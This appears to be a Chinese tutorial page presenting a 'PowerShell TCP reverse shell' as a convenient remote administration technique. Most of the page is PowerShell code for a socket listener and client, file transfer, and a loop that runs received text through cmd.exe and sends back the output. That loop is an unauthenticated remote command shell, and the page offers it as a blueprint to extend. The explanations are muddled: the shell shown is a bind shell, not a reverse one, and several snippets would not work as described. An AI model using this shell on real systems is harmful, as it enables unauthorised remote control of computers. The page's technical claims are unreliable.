📜  powershell tcp reverse shell - Shell-Bash (1)

📅  最后修改于: 2023-12-03 15:03:51.261000             🧑  作者: Mango

PowerShell TCP Reverse Shell

简介

PowerShell TCP Reverse Shell是一种远程访问管理技术,它通过打开TCP端口并侦听用户请求,使得管理员可以通过网络进行远程连接,并在目标计算机上执行命令。

功能

可以实现以下功能:

  • 远程连接至目标计算机
  • 执行命令
  • 下载/上传文件
  • 监听主机端口
步骤
监听目标主机

首先,在目标计算机上启动监听程序。以下代码片段展示了如何通过PowerShell打开TCP端口进行侦听:

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0', 4444)
$listener.start()
$tcpClient = $listener.AcceptTcpClient()
$stream = $tcpClient.GetStream()
连接目标计算机

现在,我们可以通过其他计算机的PowerShell连接到目标计算机。以下代码片段展示了如何建立连接:

$client = New-Object System.Net.Sockets.TcpClient('target_ip', 4444)
$stream = $client.GetStream()
执行命令

我们可以通过向目标计算机发送命令来执行它们。以下代码片段展示了如何向目标计算机发送命令并获得其输出:

$command = "Get-ChildItem C:\"
$commandBytes = [System.Text.Encoding]::UTF8.GetBytes($command)
$stream.write($commandBytes, 0, $commandBytes.Length)

$buffer = New-Object Byte[](1024)
$stream.Read($buffer, 0, $buffer.Length)
[System.Text.Encoding]::UTF8.GetString($buffer)
上传/下载文件

PowerShell TCP Reverse Shell还可以上传/下载文件。以下代码片段展示了如何从目标计算机下载文件:

$filename = "file.txt"
$command = "Get-Content $filename"
$commandBytes = [System.Text.Encoding]::UTF8.GetBytes($command)
$stream.write($commandBytes, 0, $commandBytes.Length)

$buffer = New-Object Byte[](1024)
$stream.Read($buffer, 0, $buffer.Length)
[System.IO.File]::WriteAllBytes("$filename", $buffer)

以下代码片段展示了如何将文件上传到目标计算机:

$filename = "file.txt"
$data = [System.IO.File]::ReadAllBytes($filename)
$command = "[System.IO.File]::WriteAllBytes('{0}', [Byte[]]@({1}))"
$encodedCommand = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command -f 'newfile.txt', [string]::Join(',', $data)))
$bytes = [System.Text.Encoding]::UTF8.GetBytes("powershell.exe -encodedcommand $encodedCommand")
$stream.Write($bytes, 0, $bytes.Length)
监听主机端口

PowerShell TCP Reverse Shell也可以在我们自己的计算机上侦听TCP端口,以便远程访问另一台计算机。以下代码片段展示了如何监听端口:

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0', 8080)
$listener.Start()

while ($true) {
    $client = $listener.AcceptTcpClient()
    $stream = $client.GetStream()

    $bytes = New-Object byte[] 2048
    $stream.Read($bytes, 0, 2048)
    $command = [System.Text.Encoding]::ASCII.GetString($bytes).TrimEnd([Char]0)

    $p = New-Object System.Diagnostics.Process
    $p.StartInfo.FileName = "cmd.exe"
    $p.StartInfo.Arguments = "/c " + $command
    $p.StartInfo.UseShellExecute = $false
    $p.StartInfo.RedirectStandardOutput = $true
    $p.Start()

    $output = $p.StandardOutput.ReadToEnd()
    $p.WaitForExit()

    $outputBytes = [System.Text.Encoding]::UTF8.GetBytes($output)
    $stream.Write($outputBytes, 0, $outputBytes.Length)

    $stream.Close()
    $client.Close()
}
结论

PowerShell TCP Reverse Shell是一种非常方便且功能强大的技术,可以让管理员轻松地通过网络访问目标计算机,并在目标计算机上执行操作。您可以使用上述代码片段作为蓝本,实现更高级的功能以适应您的需求。